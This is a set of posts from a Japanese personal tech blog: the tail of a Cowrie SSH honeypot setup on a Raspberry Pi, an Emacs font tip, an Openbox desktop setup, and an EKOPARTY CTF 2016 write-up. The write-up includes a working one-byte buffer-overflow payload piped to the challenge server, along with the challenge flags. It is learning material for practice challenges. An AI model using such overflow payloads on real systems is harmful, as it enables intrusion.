2016-12-13 03:36:48+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] Closing TTY Log: log/tty/20161213-033229-6c03cb63-0i.log after 258 seconds
2016-12-13 03:36:48+0900 [HoneyPotSSHTransport,1,192.168.0.10] avatar root logging out
2016-12-13 03:36:48+0900 [HoneyPotSSHTransport,1,192.168.0.10] connection lost
2016-12-13 03:36:48+0900 [HoneyPotSSHTransport,1,192.168.0.10] Connection lost after 341 seconds

またexceptions.ImportError: No module named tftpyって出てたので、

$ sudo apt-get install python-tftpy

これでちゃんとログインできた。

ポートフォワーディング

後はポートフォワードするだけだが、iptablesはよくわかってないのでufwでやることにする。 今日はもう寝る。

追記

twistedのバージョンは14.0.2が入ってるっぽい。

>>> import pkg_resources
>>> for dist in pkg_resources.working_set:
...     print(dist.project_name, dist.version)
... 
('wsgiref', '0.1.2')
('argparse', '1.2.1')
('Python', '2.7')
('Twisted-News', '14.0.2')
('gmpy', '1.15')
('Twisted-Names', '14.0.2')
('gmpy2', '2.0.3')
('python-apt', '0.9.3.12')
('Twisted-Runner', '14.0.2')
('Twisted-Core', '14.0.2')
('MySQL-python', '1.2.3')
('zope.interface', '4.1.1')
('tftpy', '0.6.0')
('configparser', '3.3.0r2')
('RPi.GPIO', '0.6.3')
('Twisted', '14.0.2')
('characteristic', '0.1.0')
('PAM', '0.4.2')
('pycrypto', '2.6.1')
('pyasn1', '0.1.7')
('Twisted-Conch', '14.0.2')
('Twisted-Web', '14.0.2')
('numpy', '1.8.2')
('service-identity', '1.0.0')
('Twisted-Words', '14.0.2')
('Twisted-Lore', '14.0.2')
('pyOpenSSL', '0.13.1')
('pyasn1-modules', '0.0.5')
('Twisted-Mail', '14.0.2')
('pyserial', '2.6')
>>> 

バカ

調べてる時に見つけたこのリンク Authentication takes long time · Issue #81 · micheloosterhof/cowrie · GitHub

から、ラズパイ使ってる人がこのパッケージ入れるとイイ感じに動いてるよ!みたいなのを見つけて、頭が働いてなかったので

$ sudo apt-get install python-gmp*

これを実行した。

最終的にこんなになった

0 upgraded, 96 newly installed, 0 to remove and 0 not upgraded.
Need to get 56.3 MB of archives.
After this operation, 212 MB of additional disk space will be used.
Do you want to continue? [Y/n]

python-numpyとかも入ってたから、多分全部のパッケージインストールしたんでは。アホか。

でも実際に入れてみると早くなっていたので、必要なパッケージだけ残してあとは捨てよう.....

やること

  • MySQL(mariaDB)と接続させてログを管理、可視化していきたい(kippo-graphとか気になる)
  • ポートフォワードの設定(明日やれ)
  • pastebinとかにアップするとアクセス増えるらしいので、新年はマルウェア採集したい

クリスマスプレゼントはサンタさんにマルウェアをよろしく頼む。

参考

github.com shinayoshi's note cowrie won't start, No module named configparser · Issue #272 · micheloosterhof/cowrie · GitHub Authentication takes long time · Issue #306 · micheloosterhof/cowrie · GitHub Authentication takes long time · Issue #81 · micheloosterhof/cowrie · GitHub exceptions.ImportError: No module named tftpy · Issue #343 · micheloosterhof/cowrie · GitHub

emacsのデフォルトのフォントサイズを変更する

動機

VMで動かしているubuntuemacsで使用するフォントのサイズがデカくて使いづらかった。

ググってみると、なんだか関数書かないといけないみたいよ〜とかいう話から、C--やらC-+を使えとかいう話まであったり、正直調べている身としては「フォント変えるだけなのになんでこんなに情報が散乱してるんだ!!!!!!」って感じ。

実際に自分の環境でデフォルトのフォントサイズを変更できたので、メモとこれからフォントサイズを変更しようという人のためにここに記しておこうと思う。

環境

フォントサイズの変更

デフォルトのフォントから変更せずにフォントサイズだけ変更したいという時。僕の場合は普段UbuntuMonoの9くらいを使ってるのでそれ。

(set-frame-font "Monospace" 9)

とかいう感じでフォントの名前とフォントサイズを指定してやれば良い。

(set-default-font "hoge" 9)とかいうふうに書くとemacsにobsolateだよって怒られる。(23.1まではこれでいけるらしい)

結局フォント指定しちゃたけどみんなシステムで使ってるフォントくらい知ってるでしょ!って思うけど、知らなかったらごめん。

Ubuntuのデスクトップ環境(Openbox, tint2, urxvt, ranger)

はじめに

最近のマイブームは軽量なデスクトップ環境の構築です。

最近Macvirtualbox上でUbuntu14.04 LTSを動かしているのですが、どうにもスペックが足りずにUbuntuの動きがカクカクすることがあります。 とてもストレスがたまるので、いっそのこと興味のあったOpenboxを導入してみようと思いたったので、こちらにメモを残したいと思います。

環境

Ubuntu 14.04 LTS ※現在ラボのUbuntu 16.04 LTSへの移行中

Openboxって??

このサイト

Openbox - ArchWiki

によると、

Openbox は軽量で設定が自由なスタック型ウィンドウマネージャです。デスクトップ環境とは独立して動作させることも、KDEXfce など他のデスクトップ環境に入っているウィンドウマネージャの代替として使うことも可能です。LXDE デスクトップ環境は Openbox を初めから組み込んでいます。

とのことです。Ubuntuは今やデスクトップ環境はUnityが定番かと思いますが、VM上やスペックの足らないPC上で動かすのには少し動作が固まる時があり、とてもストレスフルです。Openboxは軽量だけでなくカスタマイズ性も高いので、PCを開くだけでテンションが高まり、毎日生きるのがだいぶましになります。

まずはインストー

$ sudo apt install openbox tint2 conky xcompmgr rxvt-unicode-256color ranger

設定ファイル

ここから

github.com

macみたいにショートカットによく使うアプリケーション起動と画面サイズ変更できるようにした。

早くunixpornにあるみたいな感じにしたい

ファイラ

rangerを使用。

ターミナルエミュレータ

urxvtを使ってみることにした

進捗

随時更新します。 正直ずいぶん前に導入して、メモも残してないので、やりながら更新って感じだ。。。

こんな感じ

f:id:hal0taso:20170314030659p:plain

質素すぎるのでタイリングしたりcmdキーでUnityみたいなメニュー出したいなぁ〜

でも、実際使うのって本当に限られているので、(ファイラとブラウザと端末、エディタ、IDAはすでにショートカット割り当て済み)折り合いつけるの難しい。

感想

クソ記事を書く人の気持ちがわかった

EKOPARTY CTF 2016: 感想と反省

はじめに

1日目の日本時間18時くらいに知った. 平日は日中講義なので夕方夜の隙間時間に問題眺めてた. 大学のネットワークから問題サーバーに接続できないことも多く,モチベーションの低下にも繋がった.

とりあえず何か1問くらいはときたいなぁと思ったが,結局1問も解けず撃沈.

取り組んだ問題と考えたこと,そのWrite upをまとめる.

pwn25 ultrababy

まずは事前調査

$ file ultrababy
ultrababy: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=de50a6b52145c2fed72e45e8f36dd27f0daced16, not stripped

$ checksec --file ultrababy
[*] '/home/ubuntu/writeup/[EKOPARTY CTF 2016]/pwn25 ultrababy/ultrababy'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

正直ultrababyなのにFull RELROでNX, PIE 有効って難しそうだなぁとか思ってた.

radare2で関数を列挙してみると,sym.Flagが怪しいというとこまではわかってた.後でwrite upを見て気づいたが,アドレスの下位1バイト分しか違わないので,そこだけ書き換えてやればよかった.

$ r2 ultrababy
 -- I accidentally radared my filesystem today.
[0x000006b0]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x000006b0]> afl
0x00000658    3 23           sym._init
0x00000680    1 8            sym.imp.puts
0x00000688    1 8            sym.imp.read
0x00000690    1 8            sym.imp.fflush
0x00000698    1 8            sym.imp.setvbuf
0x000006a0    1 16           sym.imp.__cxa_finalize
0x000006b0    1 42           entry0
0x000006e0    4 50   -> 44   sym.deregister_tm_clones
0x00000720    4 66   -> 57   sym.register_tm_clones
0x00000770    5 50           sym.__do_global_dtors_aux
0x000007b0    4 48   -> 42   sym.frame_dummy
0x000007e0    1 19           sym.Bye
0x000007f3    1 19           sym.Flag
0x00000806    1 161          sym.main
0x000008b0    4 101          sym.__libc_csu_init
0x00000920    1 2            sym.__libc_csu_fini
0x00000924    1 9            sym._fini

アセンブルコードを見ていくと,rdxを呼び出しているところがあり,rdxに入ってるのはQWORD PTR [rbp-0x8]の関数Byeのアドレスである.

<main+152>: call rdx

0x19バイトでBOFしてスタックに積まれたsym.Byeの下位1バイト分のアドレスが書き換えられるので,ここを0xf3に書き換えてやれば良い. 下位1バイトしか変わらないっていうのに気づけていたら僕も解けてた

00:0000| rsi rsp 0x7fffffffdd60 ('a' <repeats 15 times>...)
01:0008|         0x7fffffffdd68 ('a' <repeats 15 times>...)
02:0016|         0x7fffffffdd70 ("aaaaaaaaaGUUUU")
03:0024|         0x7fffffffdd78 --> 0x555555554761 (<register_tm_clones+65>:   ret)
04:0032| rbp     0x7fffffffdd80 --> 0x0 
05:0040|         0x7fffffffdd88 --> 0x7ffff7a36f45 (<__libc_start_main+245>:   mov    edi,eax)
06:0048|         0x7fffffffdd90 --> 0x7fffffffde68 --> 0x7fffffffe208 ("/home/ubuntu/wr"...)
07:0056|         0x7fffffffdd98 --> 0x7fffffffde68 --> 0x7fffffffe208 ("/home/ubuntu/wr"...)

ローカルで試してみると

$ python -c "print 'a'*0x18 + '\xf3'" > input.txt 
$ ./ultrababy < input.txt 
Welcome, give me you best shot
EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
$ python -c "print 'a'*0x18 + '\xf3'" | nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 55000 
Welcome, give me you best shot
EKO{Welcome_to_pwning_challs_2k16}

Web25 Mr.Robot

webなのになんのリンクも貼られてないしヒント意味わからんとか考えてた.

後からWriteupみたらrobot.txtだしそういえばDisallow it!とか書いてあってめちゃくちゃヒントじゃんこれ!ってなった.

https://ctf.ekoparty.org/robots.txt

Disallow: /static/wIMti7Z27b.txtとあるので, https://ctf.ekoparty.org/static/wIMti7Z27b.txt にアクセスする.

EKO{robot_is_following_us}

FBI25 Welcome to the dark side

.onionのリンクなのでTorでアクセスする必要がある.

自分の環境にTor入ってなかったのとリンク先がsilkroadってあってやばそうなやつじゃん....とか思って逃げた.

実際は多分普通のサイトだったみたいで,アクセスしてソースコードを見ると一番上にコメントでFlagが隠れていた.

EKO{buy_me_some_b0ts}

misc50 Hidden inside EKO

普通に背景画像にフラグある. EKO{th3_fl4g}

これ50ポイントもあったのか...

感想

見直してみるととても簡単な問題ばかりだった. ちゃんと諦めずに解いてみるのが大切だなぁと反省した.

解けないからずっとその問題にかじりついていたが,あまりにも進まないと思ったら次の問題に移ったほうがよさそうだと感じた. 一人で取り組んでると気軽に相談できる相手もいないので辛く厳しい戦いである.

あとは,EKOPARTY CTFは初心者向けの問題が多いらしく,確かに他のwriteup見てても取り組みやすそうな問題や理解しやすい問題が多いと思った.(初心者以下なので初心者向けの問題が解けない)

あとは,常時開設CTFは行き詰った時にForumなどで追加のヒントがもらえたが,実際のCTFだとヒントがないので,自分の知見を広げて蓄積することが必要だと思った.

まだたくさん問題が残っているので,他の問題にもwriteup参考にしつつ解いて知見を広げたい.